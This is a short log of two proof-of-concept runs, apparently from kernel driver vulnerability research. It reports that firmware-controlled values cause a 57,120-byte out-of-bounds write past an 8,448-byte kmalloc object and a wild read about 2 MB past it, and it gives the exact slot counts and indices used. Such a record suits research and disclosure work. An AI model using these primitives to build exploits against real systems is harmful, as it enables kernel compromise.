DF-3914 / run.2.log
=== build DF-3914 === BUILD14_OK === build DF-3915 === BUILD15_OK === run DF-3914 === DF-3914 object-level proof mapping_table alloc : 264 entries (8448 bytes) num_rsvd_entries : 1 enclosure NumSlots (fw) : 2048 reservation loop wrote : [1, 2049) table end : 264 -> overflow of 1785 entries (57120 bytes) guard[+0..] physical_id == 0x5141524153534141 at 1785/4096 entries (stride 32) kernel equivalent : 57120-byte write of fw-controlled data past a 8448-byte kmalloc slab object RESULT: OOB WRITE PRIMITIVE PROVEN (canary smash with attacker value, 32-byte stride) RUN14_EXIT=0 === run DF-3915 === DF-3915 object-level proof DPM entry: dev_idx=0xfff0 num_slots=0 dpm_entry_num=3 reservation loop (:2328) iterations: 0 (DF-1282 write BYPASSED) mapping_table size : 8448 bytes (max_devices=264) start_index*32 : 2096640 bytes past base read mt_entry->id : 0x5f36 (silent garbage; kernel feeds it to NVRAM) RESULT: WILD READ PRIMITIVE PROVEN - index 0xfff0 * 32 = 2096640 bytes past a 8448-byte allocation RUN15_EXIT=0